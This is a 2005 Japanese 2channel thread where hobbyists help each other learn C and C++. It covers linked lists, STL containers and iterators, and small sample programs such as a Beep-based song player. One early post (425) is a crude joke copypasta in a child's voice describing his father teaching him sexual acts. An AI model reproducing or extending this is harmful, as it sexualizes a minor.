夢夢詐欺か
0425デフォルトの名無しさん2005/11/23(水) 21:27:45
今、学校ではセックスの授業がある。でも僕はそれがとっても苦手だった。お父さんが時々パソコンでオナニーをしているのを
見るけど、なんか、ちんぷんかんぷん。こんな難しいこと僕にはできないよ、って思ってた。でもこの前、調べ学習で
インターネットを使う宿題が出たとき、お父さんが「アナリスクは難しくないんだよ」 って、いろんなことを教えてくれたんだ。
フリスクの使い方や子供の作り方、お母さんに内緒でちんちんの弄り方も覚えちゃった。
うん、やってみると案外僕にもできるかもしれない ! アナリスクを覚えてからは、2ちゃんねるがとっても楽しくなってきた。
苦手な尻有だって、声優の聞き分けだって僕に任せてって感じ。なんか、いろんなことがしたくなってきた !
わからないことや知らないことは、ママに聞けばいいんだね。
0426デフォルトの名無しさん2005/11/23(水) 21:31:50
SFUとcygwinってどっちがいい?
0427デフォルトの名無しさん2005/11/23(水) 21:39:10
>>426
MSLinux使っとけば間違いない
0428デフォルトの名無しさん2005/11/23(水) 21:45:48
Linuxって使う場面ないんだけど
0429デフォルトの名無しさん2005/11/23(水) 21:47:25
>>427
公式サイトみてきたけどなんかぺんぎんが冷たくなってた
0430デフォルトの名無しさん2005/11/23(水) 21:47:47
>>428
GCC使うときとか
0431デフォルトの名無しさん2005/11/23(水) 21:48:37
>>430
なるほど
0432デフォルトの名無しさん2005/11/23(水) 21:50:00
GCCって使う場面ないんだけど
0433デフォルトの名無しさん2005/11/23(水) 21:51:59
>>432
Linux使うときとか
0434デフォルトの名無しさん2005/11/23(水) 21:53:11
Linuxって使う場面ないんだけど
0435デフォルトの名無しさん2005/11/23(水) 21:53:22
Linuxって使う場面ないんだけど
0436デフォルトの名無しさん2005/11/23(水) 21:53:54
   /⌒⌒⌒⌒⌒⌒ ))
  (   从    ノ.ノ
   ( ./  ̄ ̄ ̄ ̄\
   |::::::  ヽ  ...  ...丶.
   |::::._____ __)     ) / <MSにWindowsのソースを要求する。
  (∂: ̄ ̄| ̄・` |=|・ ̄ |   ( (
   (  (   ̄ )・・( ̄ i n.n  )ノ  ______
   ヘ\   .._. )C( ._丿.=|_|=・.  │  | \__\___
 /  \ヽ _二__.ノ  <つ(.(rヽ    |  |   |= |iiiiiiiiiii|
/⌒ヽ.   \__/\i/\ ヽ .( .ノ     |  |   | =. |iiiiiiiiiii|
|   ヽ ____\o\./  |.      |  |   |三 |_「r.、
|   //     // ̄.\ \二|    |_..|_/(  ) ̄ ))
ヽ ______//r_/| |.||⌒ヽ〜〔 ̄ ̄! ̄ ̄ ̄/ ̄ ̄\((
0437デフォルトの名無しさん2005/11/23(水) 22:04:44
アメリカじゃLinux使いは共産主義者って呼ばれてるけど
日本じゃさしずめ社民党だな
0438デフォルトの名無しさん2005/11/23(水) 22:34:19
なんかマイクロソフトの焦りを感じる・・(;^ω^)
もうちょい落ち着いてもいいと思うお(;^ω^)(;^ω^)
0439デフォルトの名無しさん2005/11/23(水) 22:49:38
>>405
あの程度のもんをSDKorMFCで作るのが面倒とかいう時点でおかしいだろ。
0440デフォルトの名無しさん2005/11/23(水) 23:18:36
東大助手に何を言っているんだ、君は!
(><(*)ひぎぃ!お尻ぷりんセス!
0441デフォルトの名無しさん2005/11/23(水) 23:30:50
文字列を行ごとに分けるプログラムを書いてみた。こんな感じでいいのかな・・

BOOL GetNextLine(LPCTSTR& pSrc, CString& Line) {
if(!pSrc) return FALSE;
if(!*pSrc) {
Line.Empty();
pSrc = NULL;
return TRUE;
}
LPTSTR pLF = _tcschr(pSrc, '\n');
if(!pLF) {
Line = pSrc;
pSrc = NULL;
return TRUE;
}
INT nLen = pLF - pSrc;
LPTSTR pBuf = Line.GetBufferSetLength(nLen);
_tcsncpy(pBuf, pSrc, nLen);
Line.ReleaseBuffer(nLen);
pSrc += nLen + 1;
return TRUE;
}

whileで回して使う。
while(GetNextLine(pSrc, Line)){nNumLines++; }
0442デフォルトの名無しさん2005/11/24(木) 00:30:16
>>440
2ちゃんねら〜は学歴・権威によわいでしゅね。ぶぎゃw
0443デフォルトの名無しさん2005/11/24(木) 00:34:17
>>441
悪いことは言わん
文章処理系はPerlに任せるべき
0444デフォルトの名無しさん2005/11/24(木) 00:45:08
>>442
東大助手は忙しいから少しでも時間節約したいんだよ
0445デフォルトの名無しさん2005/11/24(木) 00:50:30
>>444
いそがしいなら隠れてnyなんか作れるかよ。
笑わせるなw
0446デフォルトの名無しさん2005/11/24(木) 00:54:14
>>443に激しく同意

まぁレポート載せるソースコードを80文字で改行するためのプログラムをCで書いておいて
最後にゴミが付くというバグに気づきながら放置してる俺が言えた事じゃないが
0447デフォルトの名無しさん2005/11/24(木) 00:55:14
はいはいワロスワロス
もう終わりね
0448デフォルトの名無しさん2005/11/24(木) 01:18:55
>>444 >>446
カレーが好きならインドに住めと言っているのと一緒。
0449デフォルトの名無しさん2005/11/24(木) 02:07:25
?
0450デフォルトの名無しさん2005/11/24(木) 02:22:19
while(0)
{
print "?";
}
0451デフォルトの名無しさん2005/11/24(木) 02:26:02
まぁ>>448のレスは単純なアンカーミスだと思われ。
>>448のレスを>>443>>446宛と考えれば普通に解釈できる。
0452デフォルトの名無しさん2005/11/24(木) 02:34:51
生産性無視して作ってもな〜

wWw<MMORPGのクライアント作ってくれ
(’д`)<うはおkwwwwwwnasmで作ってくるwwwwっうぇ
0453デフォルトの名無しさん2005/11/24(木) 03:45:10
>>448
本格的にカレー食いたいならインドに行く方が効率的だろ
それと一緒だよ
0454デフォルトの名無しさん2005/11/24(木) 03:59:09
今D言語な家に住んでいます。
外に出るのメンドクサス
0455デフォルトの名無しさん2005/11/24(木) 04:03:05
本場のカレーが本格的なカレーとは限らない
本格的なカレーがうまいカレーとは限らない
近場にある怪しいインド料理店のほうが本格的なカレー作ってくれるかもな!

ってか、そもそも本格的って定義はなんなんだろ(;^ω^)


>>453
「本格的にカレーを食べる」なら
ココイチで吐くまで食べりゃ済むと思うお(^ω^)
0456デフォルトの名無しさん2005/11/24(木) 07:22:28
カレー味のウンコとウンコ味のカレーだったら、雑菌少ない方を選ぶのがベターだと思うんだ
0457デフォルトの名無しさん2005/11/24(木) 07:43:46
なるほど
0458デフォルトの名無しさん2005/11/24(木) 07:56:30
ちょっと聞きたいんだけどさぁ。
ここにVIPのコテが来てCを学びたいとか言い出したら荒れるよな?
ちなみに空気コテだけど。
0459デフォルトの名無しさん2005/11/24(木) 08:11:58
そいつはこのスレが求めてる逸材と見た!
0460デフォルトの名無しさん2005/11/24(木) 08:15:38
マジ?荒れないかな?
Hello!worldレベルのコテじゃ流石にヤバイよな。
彼、コテにしてはめずらしくTPOをわきまえるんだよ。
だから本気で気にしてるんだ。
0461デフォルトの名無しさん2005/11/24(木) 08:17:32
荒れないからコテ出して♥
0462健太 ◆wJpsfBhkdM 2005/11/24(木) 08:18:50
どうも…空気コテです…
0463デフォルトの名無しさん2005/11/24(木) 08:27:26
まずはメンバーの自己紹介からどうぞ
0464健太 ◆wJpsfBhkdM 2005/11/24(木) 08:28:25
……また来ます

|vip| λ....
0465デフォルトの名無しさん2005/11/24(木) 08:34:37
健太 ◆wJpsfBhkdM の検索結果のうち 日本語のページ 約 3 件中 1 - 2 件目 (0.12 秒)

これはいい空気ですね
0466デフォルトの名無しさん2005/11/24(木) 09:05:41
VIPは日に日に悪くなっていくな
0467デフォルトの名無しさん2005/11/24(木) 09:06:50
みんなHello World から始めたんだ。
恥ずかしいことじゃないぞ。

(・∀・) カエッテコーイ!!
0468デフォルトの名無しさん2005/11/24(木) 12:13:42
>>455
「カレーの本場」といえばインドだろ。普通に考えて本格的にインド食べたかったらインドに行くべき
しかも日本はカレーが高い。大量に食べるならインドの方が圧倒的にお得。
0469デフォルトの名無しさん2005/11/24(木) 12:24:38
>>468
ちょwwwwwwwwwwww 旅費と移動時間は計算外かよwwwwwwwwwwww
0470デフォルトの名無しさん2005/11/24(木) 12:26:12
>>469
日本の家賃>>>旅費・インドの家賃
じゃないのか
04714682005/11/24(木) 12:27:12
うはwwwwwwww考えてなかったwwwwwwwwwww
俺テラヤバスwwwwwwwwwwwwww
0472デフォルトの名無しさん2005/11/24(木) 12:27:16
つまり、人類はスペースコロニーに移住しろってこったな
0473デフォルトの名無しさん2005/11/24(木) 12:31:55
旅費=bcbの値段
移動時間=近くの電気屋さんまでの道のり÷速さ
カレーの値段=開発効率
0474デフォルトの名無しさん2005/11/24(木) 12:47:00
BCB実行ファイルデカス
0475デフォルトの名無しさん2005/11/24(木) 13:01:55
少しくらい我慢しろ
0476デフォルトの名無しさん2005/11/24(木) 14:07:39
>>475
ナローバンドなんだろ。優しくしてやれ。
0477デフォルトの名無しさん2005/11/24(木) 14:20:04
           ∧_∧
           (*´∀` ) <優しくしてね
     パンパン /  _ノ⌒⌒⌒`〜、_
      ε( ̄⊂人 //⌒   ノ  ヽ)
      ⊂ニニニニニニニニニニニニニニ⊃
0478デフォルトの名無しさん2005/11/24(木) 14:27:18
    へ          へ|\ へ     √ ̄|        へ
   ( レ⌒)  |\   ( |\)| |/~|  ノ ,__√    /7 ∠、 \ .  丶\      _ __
|\_/  /へ_ \)   | |   | |∠  | |__   | /   !  |     | |_〜、  レ' レ'
\_./| |/   \     .| |( ̄  _) |     )  | |    i  |  へ_,/    ノ   ,へ
  /  / ̄~ヽ ヽ.   | | フ  ヽ、 ノ √| |   ! レノ  |  !. \_  ー ̄_,ー~'  )
 / /| |   | |   | |( ノ| |`、) i ノ  | |   \_ノ  ノ /    フ ! (~~_,,,,/ノ/
 | |  | |   / /    | | .  し'  ノ ノ   | |       / /     | |   ̄
 \\ノ |  / /      | |___∠-".   | |      ノ /       ノ |  /(
  \_ノ_/ /     (____)     し'      ノ/      / /  | 〜-,,,__
     ∠-''~                        ノ/         (_ノ   〜ー、、__)
0479デフォルトの名無しさん2005/11/24(木) 14:34:48
僕をできる限りC言語PGとして育ててください!!!!!
ヒキなので常時スタンバッってるので、ぜひお願いしたい
どうにか大学の奴達より賢くなりたいんだ!!!
ポインタ辺りは理解した!!でも何をやっていいのやら・・・
時間だけはたっぷりある。スルーはしないでくれーーーーーーー!!!
0480デフォルトの名無しさん2005/11/24(木) 14:36:39
>>479
Hello, world!だ

org 0x0100
mov ah, 0x09
mov dx, msg
int 0x21
ret
msg db "Hello, world!",0x0A,"$"
0481デフォルトの名無しさん2005/11/24(木) 14:36:44
>>479
>>477,478
0482デフォルトの名無しさん2005/11/24(木) 14:39:15
>>480
HELLOW WORLD はもう完璧だす・・・

>>481
そんな事いわないでくれよ〜〜〜('A`)
教えてくださああああぁっぁっぁっぁああいい
0483デフォルトの名無しさん2005/11/24(木) 14:43:42
自力で学ぶ力がないとプログラマとしてやっていけないよ
0484デフォルトの名無しさん2005/11/24(木) 14:45:56
>>482
どれくらい出来るの?
0485デフォルトの名無しさん2005/11/24(木) 14:46:43
>>483
今まで全部独学でやってきたので、何をやったらいいのか
分からないんですよ。ポインタまでやって、線形リスト、
多次元配列、関数へのポインタ→最近qsortをやり始める。
でも問題出されてもできない事がおおいので、教えて欲しいです・・
0486デフォルトの名無しさん2005/11/24(木) 14:47:19
>>484
>>485におおよそを書いておきました
0487デフォルトの名無しさん2005/11/24(木) 14:48:00
>でも問題出されてもできない事がおおいので、教えて欲しいです・・
これは「慣れる」しかない
実際にソースを読んだり書いたりしてるうちにプログラムの書き方を覚えてくる
0488デフォルトの名無しさん2005/11/24(木) 14:50:26
>>487
慣れですか・・・ソースを読むのは参考書程度ではやっぱダメですよね
もっと参考書立ち読みしてきますorz
0489デフォルトの名無しさん2005/11/24(木) 14:51:37
>>488
ソースはネットで拾った方がいいよ
http://sourceforge.jp/
こことか
0490デフォルトの名無しさん2005/11/24(木) 14:52:16
矛盾してないか…?w
0491デフォルトの名無しさん2005/11/24(木) 14:54:46
>>489
はあああぁぁ!!!やったあぁ!!!本屋行かなくてすむ。
ありがとうございます。ソース見まくって頑張ります(`・ω・´)
0492デフォルトの名無しさん2005/11/24(木) 14:56:35
http://sourceforge.jp/softwaremap/trove_list.php?form_cat=160
言語別
0493デフォルトの名無しさん2005/11/24(木) 15:04:48
>>488
雑誌読め、プログラミング雑誌、定期購読しろ
0494デフォルトの名無しさん2005/11/24(木) 15:15:30
>>492
ソースの種類がいっぱいあってたのしそうです(`・ω・´)

>>493
プログラム雑誌なんてのもあったんですか!
毎日本屋に読みに行ってみる事にしますよ。
0495デフォルトの名無しさん2005/11/24(木) 15:29:55
Java (292 projects)
C (279 projects)
C++ (241 projects)

Java多いな
0496デフォルトの名無しさん2005/11/24(木) 15:35:27
>>494
Win32のプログラムはまだですか?
0497デフォルトの名無しさん2005/11/24(木) 17:00:48
>>456
 カレー味のうんことうんこ味のカレーだったら、
おそらくうんこ味のカレーを選ぶ人の方が多いだろう。

 しかし、うんこ味のカレーを作るためには、
うんこってどんな味なのか?を知らねばならない。

 また、カレー味のうんこをいかにして作るか?という
議論もなされていない。

 うんこ味のカレーを作るために、カレーにうんこを混ぜてしまっては元も子もないし、
 カレー味のうんことかいってうんこにカレー粉をかけただけでは名前に偽りあり、だ。

まず、「うんこ味とは」「カレー味のうんことは」を議論すべきだ。
0498デフォルトの名無しさん2005/11/24(木) 17:07:47
うんこ味のカレーの匂いはどうするのかも議論されてないではないか
味だけに捕われないトータルな議論が必要だと思うが。
0499デフォルトの名無しさん2005/11/24(木) 17:09:41
はいはいわろすわろす
0500デフォルトの名無しさん2005/11/24(木) 17:15:21
いまだにチマチマリスト構造操作クラス作ってる者ですが・・

stack型リストにがんばってなんとか汎用性を持たせてみる
ttp://www.vipper.org/vip146355.txt

駄目じゃ〜。
シンプルかつ安全なものを目指してるのに、
じぇんじぇんそんなんできないYO!

これじゃCHumanDataのスタックをコントロールするクラスを作らなきゃいけないじゃないかぁ。。
安全かつ自動的に回せるループも思い浮かばないいぃぃ (ToT)

ループはインデックスを指定して回すべきか・・いやそれじゃ・・・
また面倒なことに・・・・うはwwwっうぇwwっうぇwwwww
0501デフォルトの名無しさん2005/11/24(木) 17:28:32
Delete_Allはデストラクタの中で呼べばいいだけでは?
あと、安全なものを目指すのなら静的な配列に文字列コピーするのはどうかと
0502デフォルトの名無しさん2005/11/24(木) 17:38:41
そんなことしたら、ノードひとつ削除するごとにDelete_Allが実行されね?
0503デフォルトの名無しさん2005/11/24(木) 17:40:58
>>502
ソースよく読んでなかった
自身をメンバに持つクラスなのねん

メンバにデータ型(CHumanDataとか)を持っていて、
それを操作するクラス(CStack)ってのはダメなの?
0504デフォルトの名無しさん2005/11/24(木) 17:41:55
>>500
シンプルと安全性はトレードオフじゃまいか?
それはそうとして、リストならとりあえずCで実装してふいんきだけ掴めばそれでいい希ガス
C++ならlist<>があるわけだし
0505デフォルトの名無しさん2005/11/24(木) 17:46:43
せっかくprivateっていう隠蔽があるんだから使わないと安全性も糞もないお
0506500です (-_-2005/11/24(木) 17:51:20
Delete_All()は今すぐデストラクタに入れてもだいじょうぶなのですが、
Stackから一個削除されるたびにDelete_All()が呼ばれるので(処理はスルーするけど)
なんか効率悪いな〜と思いまして・・

文字列コピーは今は、テスト中なのでどんな値を入れてもよかったのです。
たまたまメンバに文字列入れてるだけでして。確かに安全じゃないっぽいですね。。

>>503
CStackを色んなとこで使いたいので、
CStack側にメンバを追加するのはめーなんです。

>>504
リスト構造を理解するために作ってるんですが、
そろそろ投げたくなってきた。

>>505
そですよね。そなんですけど、
隠蔽しながらループ回す方法を思い浮かばなかった orz
GetTopAddress()とGetNextAddress()をメンバに追加すれば隠蔽だけは可能かなぁ。。


みなさんどうもありがとー m(__)m
0507デフォルトの名無しさん2005/11/24(木) 17:54:28
リストの使い方の例(コンパイルしてないから通るか不明)
#include <iostream>
#include <list>
using namespace std;

int main(int argc, char *argv[]){
list<int> container;

for(int i = 0; i < 5; ++i)
container.push_back(i); //最後尾に1個ずつ追加

//先頭から順次表示
for(list<int>::iterator it = container.begin(); it != container.end(); ++it)
cout << *it << endl;

container.pop(); //なんとなく先頭1個削除
container.clear(); //する必要ないけど
}
0508デフォルトの名無しさん2005/11/24(木) 17:56:53
-container.pop(); //なんとなく先頭1個削除
+container.pop_front(); //なんとなく先頭1個削除
0509500です (-_-2005/11/24(木) 18:06:14
>>507
おお、素晴らしい。それが噂に聞くstd::listってヤツでしょか。
そうそう、そういうのが理想なんですよ〜。
iteratorってなんだよまったく。
英和辞典で調べたら

it・er・ate
繰り返す; 繰り返して言う.
it・er・a・tion ━━ n. 【コンピュータ】(プログラム中の命令の)繰り返し, 反復.

と出た。なんか超便利っぽいぞ。
あー、、どうやってループ回そうかな。
0510デフォルトの名無しさん2005/11/24(木) 18:51:34
>>509
とりあえずAcceleratedC++読んでみれ
Stringとvectorだけだったと思うが、簡易版を実装してるから
listを実装する上でかなり参考になるはず
特にiterator絡みとか
0511デフォルトの名無しさん2005/11/24(木) 19:14:15
STLの基本
コンテナ/イテレータ/アルゴリズムの3つに分けて考えることで、直交性を高めてる。

コンテナ list/vector等のデータを格納する構造
イテレータ コンテナ内のデータを指すためのポインタのようなもの
アルゴリズム イテレータを利用してサーチやらソートやらを行う

コンテナはbegin()/end()で最初/最後の「次」の要素を返すイテレータを
取ってこれるので、そのイテレータをbegin()でとってきたイテレータを
++してend()で終了させれば全ての要素を走査できる。
0512デフォルトの名無しさん2005/11/24(木) 19:15:25
うわわけわからん日本語になってるな
0513500です (-_-#2005/11/24(木) 19:20:25
>>510
どもです。これのことでしょか。

Accelerated C++
効率的なプログラミングのための新しい定跡
C++ In Depth Series
ttp://www.amazon.co.jp/exec/obidos/ASIN/4894714221/qid=1132826961/sr=1-1/ref=sr_1_10_1/250-6494379-9438634

難解そうですけど、評価は高めですね。
メチャ高いわけでもないので、STLをお勉強したあとに買ってみたいと思います。ども。


>>507を見てると、C++ってもしかしてSTLを駆使すると配列とかあんま使わなくても
プログラムできるんでしょか。なんか衝撃だわぁ。

とりあえず>>500のCStackをコントロールするクラスを作ってみまっす (`・ω・´)
失敗したらもうリスト構造は辞める!
0514デフォルトの名無しさん2005/11/24(木) 19:24:56
std::list<int>ってやるとint型のリストを「管理する」コンテナが
できるってところがミソかなぁ〜
begin()/end()とかを保存はしてるけど、それ以外のアルゴリズムに
必要な状態の保存はiteratorやら関数オブジェクトに任せるとか。
そういうのを考えながら見ると参考になるかと。
0515500です (-_-#2005/11/24(木) 19:28:46
>>511 >>514
チョッコウセイ???
知らない言葉ばっかでもうなにがなんだか・・

イテレータってのを鍵にして色々操作してるかのな。
あの、>>507の場合、上から3番目の要素だけ表示したい場合とか、
どうするんでしょか。
Cの配列みたく、やぱインデックスで指定でしょうか?

cout << container.disp(2) << endl;

みたいな・・
0516500です (-_-#2005/11/24(木) 19:30:33
ん?

list<int>::iterator it = container.begin();
it+=2;
cout << *it << endl;

こうか??
0517デフォルトの名無しさん2005/11/24(木) 19:32:35
>>515
list<T>には確かランダムアクセスイテレータは無いはず
リストの3番目の要素にアクセスとかは無理
地道に先頭(末尾)から追っていってください

vector<T>は普通の配列と同様に扱える
ちなみに要素を追加すればするだけ、勝手に伸びてゆくという便利な代物

それと、Acceleratedは普通の本とは進め方が全く違う
C++の文法的な事はすっとばして、stringだとかvectorだとかをのっけから使いまくる
継承やポインタが10章とかにならないと出てこない
0518デフォルトの名無しさん2005/11/24(木) 19:34:27
>>515
コンテナ:データ(組込型でもクラスでもなんでも)を入れるための入れ物
イテレータ:コンテナを色々弄るため物。必需品
アルゴリズム:十徳ナイフみたいなあれば便利なもの
0519デフォルトの名無しさん2005/11/24(木) 19:50:25
>>515
>あの、>>507の場合、上から3番目の要素だけ表示したい場合とか、
std::advance(it, 2);

配列のようなvectorでは+=とかが使えるんだけど、
リストは+=のような操作が構造的に遅いために、
わざと+=が使えないようになってる。
一応std::advance()というアルゴリズムは用意されてるので
これを使えばOK。
0520500です (-_-2005/11/24(木) 19:51:23
Vipperはやぱいい人が多いよ〜
用語解説までやってくれてホントありがとうです ノω`)・゚・。。

vectorは聞けば聞くほど超便利そうな感じ。
Acceleratedは私にはまだまだ早いかな。でも良書っぽいので、ぜひ見てみます。

「アルゴリズム」ってのは自分で実装するアルゴリズムだと思ってたんですが、
ちょっと違うようですね。自動的にソートとかしてくれるんでしょうか。


C++道はまだまだ長し。てゆか、ゴールってホントにあんの?
0521500です (-_-2005/11/24(木) 19:52:48
>>519
重ね重ね感謝です! m(__)m
0522デフォルトの名無しさん2005/11/24(木) 19:56:06
>>520
確かソートもalgorithmにあった希ガス
最もlistについてはそれが適用できないので、別途メンバ関数を持ってたと思うが
0523デフォルトの名無しさん2005/11/25(金) 22:28:03
ttp://www.vipper.org/vip147075.c

vorbisファイルのコメント表示できた。
0524デフォルトの名無しさん2005/11/25(金) 22:32:58
usageの ./a.out って直打ちじゃ意味ないのでは…w
自身へのパスは argv[0] だお
0525デフォルトの名無しさん2005/11/25(金) 22:36:09
>>524
なんだかめんどくさかったお(^ω^;)
0526デフォルトの名無しさん2005/11/25(金) 22:37:39
ttp://www.vipper.org/vip147083.c
修正
0527デフォルトの名無しさん2005/11/25(金) 22:42:24
./a.out ってことは gcc かな?

ならコンパイルオプションに -std=c99 として
C99 準拠にすると幸せに慣れるかもだお(^ω^)

C99は↓
ttp://seclan.dll.jp/c99d/
0528デフォルトの名無しさん2005/11/25(金) 22:58:32
-o xxx.exe xxx.c
0529デフォルトの名無しさん2005/11/26(土) 00:21:21
今日は朝生見ながらプログラム〜 ^^
0530デフォルトの名無しさん2005/11/26(土) 00:43:28
>>529
たーわーけー
0531デフォルトの名無しさん2005/11/26(土) 00:54:19
>>530
なんで〜 ><
0532デフォルトの名無しさん2005/11/26(土) 00:57:16
うーん、画像表示だけで悩みまくった
今日はここまで
ttp://itaro.kir.jp/cgi-bin/up/src/ita0026.jpg
0533デフォルトの名無しさん2005/11/26(土) 01:13:42
>>532の画像がかわゆくて、ついつい保存しちゃった☆
0534デフォルトの名無しさん2005/11/26(土) 01:15:33
>>509
反復子という意味もあるぞ。

スピードメーターの針みたいなものだ。
針を順にズラしてデータの参照先を変えて
データ参照を繰り返す。
0535デフォルトの名無しさん2005/11/26(土) 01:22:10
朝生 キタ━(゚∀゚)━!!!
少子化問題とか興味ナッシング!!
今日はプログラムが進みそうだお
0536デフォルトの名無しさん2005/11/26(土) 01:29:03
>>534
あ、どもありがとございます m(__)m

ちょっと話違いますけど、
vectorって、配列みたく「3番目の要素を取り出す」
みたいなのが簡単にできるんですよね。

自分でリスト作ったら、3番目の要素取り出すときは
1番目から(もしくは最後から)回さないといけないから
どう考えても遅くなるんですけど、

そういうのはvector様はどうやって解決してるんでしょか。
昨日から考えてるけど、アフォなので全く思い浮かばない。。
0537デフォルトの名無しさん2005/11/26(土) 01:39:28
>>536
vectorなら配列と同じに v[3]とか添え字でアクセスできる
おそらく連続した領域にメモリ確保してると思われる
0538デフォルトの名無しさん2005/11/26(土) 01:48:59
>>537
連続してるのに、あとで配列に追加(しかも末尾or先頭に追加)したり
間を抜いたりできるというのを両立するにはどうすればああぁぁ

あー、そんな便利な箱、どこの天才が作ったんだろ。
0539デフォルトの名無しさん2005/11/26(土) 01:52:36
今緩い地震来た @東京都内
0540デフォルトの名無しさん2005/11/26(土) 01:53:14
vectorはC言語の配列と同じように扱えて、
配列の幅も自由に変更可能で(realloc するようなもの)
配列自体は最後に解放する必要はない

listはC言語で自分でソース書いたらわかると思うけど
要素の追加・削除が高速に行えるが、
メモリ上では連続してないから配列のようには扱えない

STLなら他にも deque, set, multiset, map, multimap
とあって、それぞれ長所短所あるので使い分けが重要でっせ
0541デフォルトの名無しさん2005/11/26(土) 01:57:16
>>538
確保しておいた領域で足りなくなったら
他のところへもっと大きい領域を確保して要素をすべてコピーするんだよ

だから、頻繁に要素の数が増減するような処理には向かない
そういうときこそlistとかを使う
0542デフォルトの名無しさん2005/11/26(土) 01:58:00
おや、ホントアフォな質問ばっかで申し訳ありませんが、
もしかしてlistよかvectorの方が遅い??

それならちょっと納得するかも。
0543デフォルトの名無しさん2005/11/26(土) 02:00:07
うは、かぶった orz

>>541
にゃるほど。それなら納得です。ども m(__)m
今まで自由に増減できて、かつ各要素へのアクセスが高速な
魔法の箱だとばかり思ってましたわ。
0544デフォルトの名無しさん2005/11/26(土) 02:02:51
>>542
>もしかしてlistよかvectorの方が遅い??

インデックスでランダムアクセスするならvectorの方が速い。
0545デフォルトの名無しさん2005/11/26(土) 02:04:08
>>544 おk。ぼんやり把握しました。感謝です ><
0546デフォルトの名無しさん2005/11/26(土) 02:05:53
C言語を勉強するときにlistを自作させられるのも
その辺の長短所を前もって理解しておいたほうが良いって事を見越して
誰もが学ぶ道、のはず

やること増やすようだけど、
STL予備軍であるboostなんて便利なライブラリもある
STL終わったらどういう機能があるかぐらいは見ておいて損はないと思うよ
0547デフォルトの名無しさん2005/11/26(土) 02:13:43
今まさにlist自作してたり (^ω^;
もう一週間ぐらいやってますよ。。

なんとか今晩中に卒業したぃ。
0548デフォルトの名無しさん2005/11/26(土) 02:15:58
でもリストって利用頻度高いか?
分岐やロードのペナルティの大きい今のCPUには向かない実装だ。
0549デフォルトの名無しさん2005/11/26(土) 02:21:31
だからなによ?
0550デフォルトの名無しさん2005/11/26(土) 02:32:00
VIPPER分が足りないぜwwwwww

             (^ω^)⊃
         _,,..,,,,_⊂ミ⊃ ) プルルン
        ./ ,' 3 `∩ηっ
        l   ⊃ ⌒_つ
         `'ー---‐'''''


            /⌒ヽ
            ( 人  )
            |  | ボゥッ!!!!!!
            | ノ(|
            |.⌒| (^ω^;)
           _,,..,,,_|  | (つ ⊂)
         / ,' 3 |  |ーっ
         l   ⊃ ⌒_つ
          `'ー---‐'''''"
0551デフォルトの名無しさん2005/11/26(土) 03:04:47
朝生が盛り上がって参りました
0552デフォルトの名無しさん2005/11/26(土) 03:04:56
今朝生見たほうがいい!
アキバ系男がめちゃくちゃ言われてるww
0553デフォルトの名無しさん2005/11/26(土) 03:05:54
うはwwwおいらのことが話題になってるwwwプログラムどころじゃないぜwwwwwwうぇwwっうぇwwwwwwww
0554デフォルトの名無しさん2005/11/26(土) 03:08:33
見逃した悪寒
0555デフォルトの名無しさん2005/11/26(土) 03:12:50
森永さんが痛々しいよ・・・_| ̄|○
0556デフォルトの名無しさん2005/11/26(土) 03:24:12
おい、おまいら、ニート引きこもりは精神科に行ったら精神病と認定されて
生活保護もらえるらしいよー
0557デフォルトの名無しさん2005/11/26(土) 03:25:34
ただオイラの予想だと、生活保護切る議論は
そろそろ巻き起こると思うよん♪
0558デフォルトの名無しさん2005/11/26(土) 10:55:12
そろそろ働けばいいじゃn
0559デフォルトの名無しさん2005/11/26(土) 12:09:04
この一週間ほどちまちまやってたリスト構造のまとめ。
ttp://www.vipper.org/vip147327.zip
http://www.vipper.org/vip147329.png

もう安全性とかシンプルさとか捨てました。てゆか、無理。
そんなのはSTL作ったようなどっかの天才様におまかせします。

もうリスト構造のこと考えるのやめやめ ┐(´ー`)┌

>>548
あわよくばシューテシングゲームなんかの弾の管理に使おうかと思ってましたが、
こんなん使うよかドカッっとnewした方がじぇんじぇん速いっぽいよ orz
0560デフォルトの名無しさん2005/11/26(土) 12:09:20
働いたら負けかな、と思ってる
0561デフォルトの名無しさん2005/11/26(土) 12:16:47
負けでもいいじゃn
0562デフォルトの名無しさん2005/11/26(土) 13:49:02
「思ってる」ってだけで、どうやっても現実とはちがうから
0563デフォルトの名無しさん2005/11/26(土) 14:13:08
>>559
そもそもリストの用途って、大量の構造体を処理するようなときに
とりあえず全部リストに読み込んで、処理が終わった奴から順に
切り離していくような使い道じゃまいか?
0564デフォルトの名無しさん2005/11/26(土) 15:30:16
Javaの2次元描画のいい参考書ないかねえ
なんか本屋行ってもWeb開発関連本ばっかしで・・・
ttp://itaro.kir.jp/cgi-bin/up5/src/ita0043.jpg
0565デフォルトの名無しさん2005/11/26(土) 15:33:01
お金あるから働く意味ないし
0566デフォルトの名無しさん2005/11/26(土) 15:34:27
うらやまC
0567デフォルトの名無しさん2005/11/26(土) 18:20:09
>>563
((;゚Д゚) < マ、マジッスカ!!
0568デフォルトの名無しさん2005/11/26(土) 18:44:11
ディレクトリ構造とか実現するのに使うかな、程度。
あと、Windowsのハードディスクの記録方法(FAT/NTFS)もリスト構造だよね。
0569デフォルトの名無しさん2005/11/26(土) 19:38:56
ファイル整理してたらでてきた

#include <windows.h>
int main(int argc, char* argv[])
{
    int sayuri[][2] =
    {    { 330, 250 }, { 330, 250 }, { 330, 250 },
        { 330, 250 }, { 349, 250 }, { 330, 250 },
        { 440, 250 }, { 440, 500 }, { 440, 250 },
        { 490, 250 }, { 440, 250 }, { 523, 250 },
        { 523, 250 }, { 523, 250 }, { 523, 250 },
        { 490, 250 }, { 440, 250 }, { 330, 700 },
        { -1, -1 },
    };
    int i;

    for(i = 0; sayuri[i][0] >= 0; i++)
        Beep(sayuri[i][0], sayuri[i][1]);

    return 0;
}
0570デフォルトの名無しさん2005/11/26(土) 19:45:17
>>569
なにこれ
0571デフォルトの名無しさん2005/11/26(土) 19:45:37
>>569
ちょwwwwwwwwww
すごいがそんな曲(゚�听)イラネ
0572デフォルトの名無しさん2005/11/26(土) 19:46:44
>>569
ビープでなんか演奏すんの?
0573・∀・)っ-●○◎- ◆Pu/ODYSSEY 2005/11/26(土) 19:53:00
これぞVIPクォリティwww
0574デフォルトの名無しさん2005/11/26(土) 19:56:37
ワロッシュwwwwwwwww
0575デフォルトの名無しさん2005/11/26(土) 20:04:52
>>569
ワロス
神だな
0576デフォルトの名無しさん2005/11/26(土) 20:09:18
選曲の基準がわからねえwwwwwwwwww
0577デフォルトの名無しさん2005/11/26(土) 20:11:24
cygwinでコンパイルできる?
0578デフォルトの名無しさん2005/11/26(土) 20:15:03
この曲って「上野発の〜」であってる?w
